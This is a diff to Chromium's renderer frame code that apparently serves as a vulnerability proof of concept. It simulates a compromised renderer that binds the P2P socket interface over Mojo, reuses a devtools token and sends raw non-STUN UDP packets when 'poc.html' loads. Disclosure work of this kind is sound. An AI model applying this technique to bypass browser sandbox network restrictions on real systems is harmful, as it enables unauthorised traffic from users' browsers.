diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index dd17c9c1d3d17..4f0566ee251ba 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -12,6 +12,14 @@ #include #include +// === PoC includes === +#include "services/network/public/mojom/p2p.mojom.h" +#include "services/network/public/cpp/p2p_socket_type.h" +#include "mojo/public/cpp/bindings/remote.h" +#include "mojo/public/cpp/bindings/receiver.h" +#include "net/traffic_annotation/network_traffic_annotation.h" +// === END PoC includes === + #include "base/byte_count.h" #include "base/check_deref.h" #include "base/command_line.h" @@ -4158,6 +4166,57 @@ void RenderFrameImpl::DidHandleOnloadEvents() { observer.DidHandleOnloadEvents(); } +// === Compromised renderer PoC: direct Mojo P2P socket creation === +namespace { + +class PocP2PSocketClient : public network::mojom::P2PSocketClient { + public: + PocP2PSocketClient() = default; + ~PocP2PSocketClient() override = default; + + mojo::PendingRemote Bind() { + return receiver_.BindNewPipeAndPassRemote(); + } + + mojo::Remote& socket() { return socket_; } + mojo::PendingReceiver BindSocket() { + return socket_.BindNewPipeAndPassReceiver(); + } + + void SocketCreated(const net::IPEndPoint& local_address, + const net::IPEndPoint& remote_address) override { + LOG(ERROR) << "POC: P2P socket created, local=" << local_address.ToString() + << ", sending non-STUN data"; + uint8_t fake_data[64] = {}; + std::fill(std::begin(fake_data), std::end(fake_data), + static_cast(0x41)); + net::IPEndPoint target(net::IPAddress(10, 0, 0, 1), 9999); + for (int i = 0; i < 5; i++) { + network::P2PPacketInfo info; + info.destination = target; + info.packet_id = i + 1; + socket_->Send(fake_data, info); + } + LOG(ERROR) << "POC: Sent 5 non-STUN packets via Mojo"; + } + void SendComplete( + const network::P2PSendPacketMetrics& send_metrics) override {} + void SendBatchComplete( + const std::vector& metrics) override {} + void DataReceived( + std::vector packets) override {} + + private: + mojo::Receiver receiver_{this}; + mojo::Remote socket_; +}; + +// Static raw pointers so they outlive DidFinishLoad (intentional leak for PoC) +static PocP2PSocketClient* g_poc_client = nullptr; +static mojo::Remote* g_poc_manager = nullptr; + +} // namespace + void RenderFrameImpl::DidFinishLoad() { TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad", "frame_token", frame_token_); @@ -4169,6 +4228,45 @@ void RenderFrameImpl::DidFinishLoad() { for (auto& observer : observers_) observer.DidFinishLoad(); + + // === Compromised renderer PoC trigger === + if (!frame_->Parent() && !g_poc_client) { + std::string url = frame_->GetDocument().Url().GetString().Utf8(); + if (url.find("poc.html") != std::string::npos) { + LOG(ERROR) << "POC: Page loaded, will create P2P socket in 3s " + << "(waiting for CDP to set throttling)"; + + g_poc_manager = new mojo::Remote(); + GetBrowserInterfaceBroker().GetInterface( + g_poc_manager->BindNewPipeAndPassReceiver()); + base::UnguessableToken token = devtools_frame_token_; + + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce([](base::UnguessableToken token) { + LOG(ERROR) << "POC: Creating P2P socket via Mojo directly"; + g_poc_client = new PocP2PSocketClient(); + net::IPEndPoint local_addr(net::IPAddress::IPv4AllZeros(), 0); + network::P2PHostAndIPEndPoint remote_info; + + (*g_poc_manager)->CreateSocket( + network::P2P_SOCKET_UDP, + local_addr, + network::P2PPortRange(0, 0), + remote_info, + net::MutableNetworkTrafficAnnotationTag( + net::DefineNetworkTrafficAnnotation("poc_p2p", R"()")), + token, + g_poc_client->Bind(), + g_poc_client->BindSocket()); + + LOG(ERROR) << "POC: CreateSocket called with devtools_token=" + << token.ToString(); + }, token), + base::Seconds(3)); + } + } + // === END PoC trigger === } void RenderFrameImpl::DidFinishLoadForPrinting() {